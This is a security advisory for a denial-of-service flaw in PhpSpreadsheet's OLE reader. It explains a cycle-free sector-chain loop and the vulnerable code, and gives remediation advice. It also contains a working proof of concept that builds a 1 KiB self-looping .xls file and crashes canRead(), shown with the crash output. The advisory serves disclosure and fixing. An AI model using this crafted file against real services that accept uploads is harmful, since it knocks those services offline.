CVE-2026-59933 — Vulnerability in phpoffice/phpspreadsheet — CVE...

## Summary PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from `Reader\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. ## Vulnerability details `OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values: - `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic. - `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header. - `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain. The vulnerable loop is: ```php $sbdBlock = $this->sbdStartBlock; $this->smallBlockChain = ''; while ($sbdBlock != -2) { $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE; $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs); $pos += 4 * $bbs; $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4); } ``` There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted. The issue is reachable during normal reader detection/loading: - `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`. - `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`. - `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue. Similar unbounded sector-chain walks exist later in stream reading: - `src/PhpSpreadsheet/Shared/OLERead.php:175-180` - `src/PhpSpreadsheet/Shared/OLERead.php:198-202` - `src/PhpSpreadsheet/Shared/OLERead.php:218-222` The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks. ## Impact A 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads. The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected. ## Safe local proof of concept This proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure. ```bash docker run --rm --network none -i \ -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \ -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH' set -eu php -r ' $data = str_repeat("\0", 1024); $set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); }; $set(0, hex2bin("D0CF11E0A1B11AE1")); $set(28, "\xfe\xff"); $set(30, pack("v", 9)); // sector size 512 $set(32, pack("v", 6)); // mini sector size 64 $set(44, pack("l", 1)); // 1 SAT sector $set(48, pack("l", 0)); // directory first sector 0 $set(56, pack("l", 4096)); // mini stream cutoff $set(60, pack("l", 0)); // SSAT first sector 0 $set(64, pack("l", 1)); // one SSAT sector $set(68, pack("l", -2)); // no MSAT extension $set(72, pack("l", 0)); // no extension sectors $set(76, pack("l", 0)); // DIFAT says SAT is sector 0 $set(512, pack("l", 0)); // SAT entry for sector 0 points to itself file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data); printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls")); ' php -d memory_limit=64M -d display_errors=1 -r ' require "/app/vendor/autoload.php"; $r = new PhpOffice\PhpSpreadsheet\Reader\Xls(); var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls")); ' 2>&1 || true SH ``` Observed output: ```text ole_size=1024 PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143 PHP Stack trace: PHP 1. {main}() Command line code:0 PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4 PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164 ``` ## Suggested remediation - Validate every OLE sector-chain walk with: - a visited-sector set to reject cycles; - maximum chain length based on file size and sector size; - bounds checks before reading from `$this->data`, `$this->bigBlockChain`, or `$this->smallBlockChain`; - rejection of negative sector IDs other than the documented end-of-chain marker. - Replace fatal memory exhaustion with a recoverable `Reader\Exception` for malformed OLE chains. - Apply the same guarded chain-walk helper to: - small-block depot chain construction; - small-block stream extraction; - big-block stream extraction; - `readData()`. - Add regression tests with self-looping and out-of-range SAT/SSAT chains.